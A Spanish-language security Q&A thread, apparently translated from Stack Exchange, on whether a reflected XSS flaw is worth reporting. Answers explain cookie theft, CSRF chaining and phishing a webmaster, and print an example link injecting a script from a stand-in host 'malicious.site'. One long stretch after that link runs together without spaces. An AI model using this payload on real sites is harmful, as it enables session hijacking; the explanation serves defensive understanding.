Me encontré con un sitio hoy que era vulnerable a XSS. Pude obtener un cuadro de alerta para mostrar a través de un cuadro de entrada y algo de JavaScript. Estaba a punto de informarle esto al propietario del sitio, pero me di cuenta de que no había consultas en la URL y que este ataque no se había guardado en ninguna parte del servidor.
¿Podría esto ser malicioso de alguna manera? ¿Hay alguna razón para arreglarlo?
Una estrategia de ingeniería social común que utiliza tales ataques xss reflexivos es engañar a los usuarios para que ingresen código de javascript confuso en el cuadro de entrada. Generalmente, bajo el pretexto de que sería un truco secreto hacer algo interesante en ese sitio web. Pero lo que realmente hace es robar la cookie de inicio de sesión del usuario y escribir un mensaje a todas las personas en su lista de amigos para que también prueben el "código secreto".
Otro uso de esta vulnerabilidad XSS reflexiva es combinarla con un falsificación de solicitudes entre sitios . Un atacante creará un formulario en un sitio web que controle y lo enviará a la misma URL en el sitio web de destino al que se envía el formulario vulnerable. Entonces atraerían a su víctima a su sitio web. La víctima no necesita realizar una acción en el sitio web del atacante, ya que es posible enviar el formulario automáticamente en la carga de página utilizando javascript. Esto solo funciona bajo las condiciones en que 1. la forma vulnerable se procesa en el lado del servidor y 2. la página web vulnerable no usa los métodos estándar para prevenir los ataques CSRF (valide el encabezado Referer del usuario para las solicitudes POST , use un sane configuración de CORS para XmlHttpRequest 's).
¿Deberías reportarlo como un error incluso si no logras encontrar un exploit? Seguro. Ciertamente no es un comportamiento intencionado y un signo de código incorrecto.
Esto puede ser absolutamente malicioso, es definitivamente un error de seguridad y debería solucionarse.
El hecho de que no haya consultas en la URL o que los datos no se hayan guardado en el servidor no importa. Ninguna de esas cosas es lo que hace que el XSS sea peligroso. La parte que hace que XSS sea peligroso es exactamente lo que encontró: parte de la solicitud puede ser ejecutada por el navegador como javascript en la página. Aquí es cómo se vería un ataque, dependiendo de otras formas en que se comporte la página.
Imagine, por ejemplo, que la entrada que encontró se ve así en el HTML:
Your Name: <input type="text" name="name">
(suena como) pusiste un poco de javascript en este formulario, presionaste enviar, y tu javascript se ejecutó cuando regresaste a la página. En otras palabras, el parámetro name es vulnerable a la inyección XSS. En el mejor de los casos (para el atacante), la página en cuestión mezcla el cuerpo POST y los datos GET, en cuyo caso este parámetro name es vulnerable independientemente de si se envió un formulario. Si este es el caso, puede crear una carga útil que será ejecutada por alguien simplemente haciendo clic en un enlace:
http://vulnerable-site.com/register?name=<script type="text/javascript" src="http://malicious.site/attack.js">Cuandounusuariohaceclicenesteenlace,lollevaalsitioweb,seproduceelataqueXSSreflejado,yahoratienejavascriptquecontrolaejecutandoenelnavegadordelavíctima.¿Quétehaceeso?Larespuestaesfácil:todo.Elprimerpasocomúnesmirarelsitiodeantemanoydescubrircómosealmacenanlascredencialesdeautenticación(generalmenteenunacookie).Silamarcahttp-onlynoestáestablecidaenlacookie,loqueelatacantepuedehaceresquesujavascriptextraigaelcontenidodelacookieylaenvíeaunservidorquecontrola.El99%deltiempolascookiesdeautenticacióntienenunIDdesesión,yunavezquetengaelIDdesesión,puedeiniciarsesióncomolapersonasinproblemas.
Entonces,losiguientequedebehacerestomarsuenlacequerobacredenciales,enviaruncorreoelectrónicoaladireccióndecorreoelectrónicodel"webmaster" diciendo: "Oye, algo en su sitio se rompió cuando hice X. Aquí hay un enlace a la página que me rompió ". Luego, si la persona hace clic en el enlace, automáticamente robará sus credenciales y posiblemente obtendrá acceso administrativo al sitio.
Por supuesto, es un vector de ataque de varios pasos, y hay suposiciones en el camino que pueden hacer que no funcione, pero el punto es que incluso cosas aparentemente inocuas como esta son muy peligrosas , especialmente en el contexto de un sitio con seguridad generalmente pobre. A veces, lo que parece una pequeña grieta es en realidad lo suficientemente grande como para atravesar un autobús, una vez que comprendes completamente las implicaciones.
Lea otras preguntas en las etiquetas xss javascript reflected-xss